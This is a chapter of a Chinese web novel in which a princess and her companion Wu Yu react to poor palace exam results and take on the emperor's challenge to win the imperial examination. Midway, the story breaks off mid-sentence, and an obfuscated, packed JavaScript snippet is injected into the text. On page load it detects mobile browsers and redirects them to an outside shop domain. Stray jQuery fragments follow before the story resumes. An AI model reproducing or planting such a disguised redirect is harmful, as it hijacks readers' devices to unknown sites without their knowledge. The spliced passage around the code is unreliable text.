文趣网 > 都市小说 > 反派有活下来的风险吗? > 46. 谏官篇:你也过不了第二关!^^……
    “你想要啊,其实本宫更想让你表演一段,本宫指不定能给你点银子做小费,问题什么的不值钱。”

    陈梓音手指在面前的古琴上缓缓敲击,扫视一片也没寻到个吴渔可能擅长的东西,只猜他这么个读书人定然不会什么乐曲舞蹈。

    “若不会,你求个服侍本宫的机会,或许也可以。”

    面前本欲借她喜爱作跳板的美男子默默后撤一步,抱着那古琴要弹不弹的,似是在纠结是否该换个人钓。

    她一心顾在吴渔身上,哪还有余光分给他?

    微微挑动细眉,她大方地掏出锦囊摇了摇后摆在案上,见他不接便推至面前。

    锦囊就如此在他们的推让中叮铃哐当,底下都快磨出火星子。

    台上的几人虽仍操持着表演,但眼神都快将锦囊盯出个洞,仿佛心底有股念头在叫喊。

    美男子再次鼓起勇气上前,纤细手指轻抚古琴丝弦,灵动长睫衬得他比先前楚楚可怜了许多。

    “公主殿下,吴大人既不愿收下,不若——”

    陈梓音手中锦囊忽然消失,桌上银子一个子儿都不剩——

    她手中空空荡荡,下意识以为这是个贼人便开口要喊人抓。

    结果一见美男子满面难以置信,双腿微颤,古琴还砸在地上,她狐疑扭头却只得到了吴渔和善的标准笑容。

    阴冷气息瞬间爬上陈梓音脊背,她眼神左右躲闪,立马遣退美男子回台上表演。

    可这美男子偏偏又给她抛了个媚眼,她碍于公众场合无从骂起,转身把吴渔递来的钱袋子重新推回去。

    为避免吴渔现在就把她扛回帐篷藏起来,她先发制人问道:“所以你知晓他们近日为何如此落魄吗,难不成是被那个林大人气的?”

    “阿梓,你看看这个就知晓了。”

    黄纸破碎不知用什么重新粘贴完整,上头弥漫着凌乱的酒水气息。

    小小一张纸布满密密麻麻的名字与数字,每人都有几项数字被圈出来画了个比她拇指还大的叉。

    陈梓音下移看到自己的名字与陈武的名字一同排在最后,嘴角抽动:“这成绩……还真是和先生所写的不相上下一致啊。”

    皇子公主里头她与陈武分别占据倒数第一与倒数第二,简直比脸被啪啪抽上好几个巴掌还疼,完全就是耻辱!

    满脸天塌了的她晕眩般瘫入吴渔怀中,整张脸在他的衣料上蹭来蹭去,嘴边不停喊着“我不活了”。

    背上多了个大手安抚,她埋得更紧不肯抬头,全然沉浸于成绩的落差之中。

    “阿梓这成绩……不错了,没有念书都能考得起来,念了书不就能一骑绝尘了么?要不先起来,不然被陛下看到又该担心了。”

    “不起了,没脸见人了,我堂堂公主殿下竟只考了手指都能掰来的数,要是传出去,我面子往哪搁啊啊啊啊啊啊!”

    “就那一次,不打紧的,过几日还有一次正式考,陛下说是考验未来储君的,阿梓可以再试试,我会帮忙补课的。”

    话音刚落,案上小碟子被瞬间掀飞,一个抛物线就落在皇帝面前。

    由于碟子里的仙草冻汁水溅了皇帝一身,在场的人包括表演团的人都不敢多嘴一句,拿着布帕要上前也没这个胆子。

    陈梓音小心翼翼磨蹭上前随手给皇帝递了块东西擦,未曾想把那张成绩单给顺了过来,还稳稳落于皇帝掌心。

    欲悄无声息夺走成绩单,她用笑掩饰那只鬼鬼祟祟的手。

    她的小手被龙袍挡开,瞬间垮下脸自暴自弃,心底只道反正不是她考出来的,唯独黄老师别条件反射就——

    完球!

    “父皇,下次、下次女儿定给你考一个第一回来,您就别生——”

    成绩单被“啪”地一声拍在案上,连带着手边茶盏抖动。

    皇帝周身气压降低,眼神如利刃般仿佛要将二人钉在木板之上:“武儿,你也过来。”

    熟悉的威严并未让她这位倒数第一惧怕,反而使她卸下紧绷的肩膀乖乖握膝坐正。

    黄老师平日里并非严师,如此凶悍也只是装装样子给这群大臣们看,但要皇帝接受自家孩子考了倒数还远远落后于邻国质子……

    陈武抓了半天后脑,估计也没想明白自己做了什么错事,只好先跪为尽:“父皇我错了,你罚我吧,别让我写一千字检讨就行。”

    林先生见此场面面露难色,接过皇帝手中黄纸,险些一口老血直冲咽喉,身体晃动仿佛受到了天大打击。

    他跟着跪在陈武身侧不远处,含泪道:“陛下莫怪二皇子殿下,是小人教得不好,小人欲自贬下——”

    “等等!”

    陈梓音扬声打断林先生,起身站到皇帝面前。

    “父皇,女儿想和您商量件事,您肯定会感兴趣。”

    “说来听听。”

    她示意吴渔来身边,满面自信道:“女儿要小鱼给女儿和二皇兄当辅佐先生,其他事女儿会替小鱼分担,他就负责辅佐林先生到下次大考,若女儿与二皇兄都考到前三,您就放过二皇兄这次,成吗?”

    既能一雪前耻并帮陈武摆脱武痴的名头,又能令他人忌惮她二人结盟的事实,可谓是一举两得,就是得辛苦吴渔装装样子了。

    “皇妹,你是为兄的神吧,你要是被父皇骂了,为兄替你扛着。”

    陈梓音听惯了陈武的捧场,将几人全部拦于身后:“父皇,您答不答应?”

    皇帝稳坐于龙椅之上细细品茶,连个眼神都不再分给几人。

    他唤了句“爱卿”,便在林先生与吴渔两人间语重心长地交代,大手一挥令表演团继续奏乐起舞。

    她以一道虚影之势闪到二人身边,打探道:“父皇方才说了什么?”

    跟前两人对视了一眼,林先生只是敛起耐人寻味的神色作揖告退,而吴渔却是维持镇定喝了口茶方解释。

    “陛下的意思是阿梓与二皇子殿下不止要在皇宫书院的大考中取得前三,还得……”

    陈梓音吊了一口气悬于心脏处,鬼知道黄老师又想出什么逗他们玩儿的好点子。

    “还得什么,总不能是让我去参加科举吧,科举都没几天了,就算我死命学都难,更何况,是这人才济济的天下。”

    “阿梓猜对了一半。”

    “科举还不难吗,一个个都是为仕途而来,干掉千人都算我牛。”

    她实在不想经历高考那般的折磨,就算是工作了也会梦到那场景。

    大脑已然飘到云霄天外,她恨不得现在就给这一次的科举考生都做一次背调。

    闻见轻咳声,陈梓音的思绪唯独停留在吴渔所说的“一半”上:“等等,你说还有下一关?”

    “陛下说,您与二皇子殿下中定要有一人拿下殿试前三,最好是个状元。”

    状、状元?

    谁?

    她吗?

    真的是她吗?

    “我来了我来了!”

    陈武甩掉满身冷汗挤到他们身边,用手指戳了戳她肩头:“所以,父皇方才说了什么,快快快我需要知道,这关乎到本

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17827138|210369||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    皇子要不要写那破检讨,这关我必过好吗。”

    眼睛失去高光的陈梓音倒入吴渔怀中,双手颤抖指天又无力落下。

    伴随耳边的解释与同样哀嚎的声音,她直指快要把脑袋抠下来的陈武,自暴自弃道:

    “你要不还是早些写检讨吧,咱们都过不了第二关。”

    ————

    “你怎得还不睡,我醒来之后就不见你人影,也是被吵醒的?”

    陈梓音反复揉搓双眼如何也抹不去困意带来的酸胀感,恍惚许久方确认眼前身影是他。

    抖动披风摊在野草上,她扯着吴渔坐到自己身边,长舒一气摆成个“大”字。

    这一觉她睡得并不安稳,帐篷外的小动物们像是在对什么人叫喊,致使她起床气爆发跌倒榻边的地铺中,也就发现了吴渔并不在帐篷内。

    许是对她俩的科举成绩担忧到睡不着,睡前还一直坐在案边备课。

    黄老师的意思确实没错,从他们之口传出要考科举状元的消息,无非是表明皇帝将以最公正的方式培养二人,给他们个庇护。

    先将作为礼部尚书的林逸连同其他人一锅端掉,再连用科举推动官员往上晋升,顺便借此把学堂计划在全国铺张开来,急切但能有所成效。

    可如此简单粗暴的法子,黄老师难不成认为很简单么,万一中间有一环出了纰漏……

    “我本欲出来守夜,见到这天色不错,就多坐了一会儿,阿梓若不先进去,外头凉。”

    陈梓音摇头拒绝,眼望群星闪烁仿佛生于大地的人:“其实我总觉得自己忘了些事,像之前那位秦公子说的‘十来年’,我真是一点印象都没有了。”

    “那就莫要多想了,晚上容易睡不着,而且……记不住不就说明那人对阿梓来说并不重要,不是么?”

    吴渔回眸扫视帐篷四周,俯身躺到她身边枕臂赏月。

    “那事我听侍卫说过了,但阿梓真的有把握仅凭这东西扳倒那几人么,我私以为不太现实,毕竟那几位大人是警惕心比较高的,更何况如今咱们线索不够,陛下还让咱们莫要管那事,不就是为了保他们吗。”

    她翻手趴在披风上,眼神恰好划过帐篷边的那道黑影,与她先前半梦半醒时看到的身形相仿,便知吴渔定然注意到了这处异样。

    挑起眉峰,她立马开始随人睁眼说瞎话:“我也不知道,父皇这几日天天让咱们莫要插手此事,我总不能跟他吵吧,不然我这岌岌可危的地位可真要崩塌了,到时候你还会受到牵连。”

    一唱一和地愈发起劲,陈梓音都打算埋在披风里好好哭上几刻钟。

    她大嚎一声,这泪都已经憋到眼角——

    “皇妹和吴大人这半夜三更为何不在帐篷里呆着,是睡得不舒服么?”

    见是陈武来了,两人才恢复原本作态,更有甚陈梓音还去帐篷四周假装溜达了一圈,逢人便说在找林大人送来的那只野兔。

    但如他们所料,没有任何人到访过的踪迹。

    她看到的身形分明就是秦尧,面相柔和并无攻击性,肩胛骨并不如她所见过的男人那般结实,若没见过他在猎场上的身姿,定会觉得他是个柔弱公子,令她产生了奇怪的感觉,与面对吴渔时的截然不同……

    不过如果是他,来的目的也真能说得通——

    毕竟盯紧目标对象与目标对象未来夫婿的事,是他能做出来的。

    “公主殿下,您在听吗?”

    “什么?”

    “他们开始行动了,时间就定在回城那日。”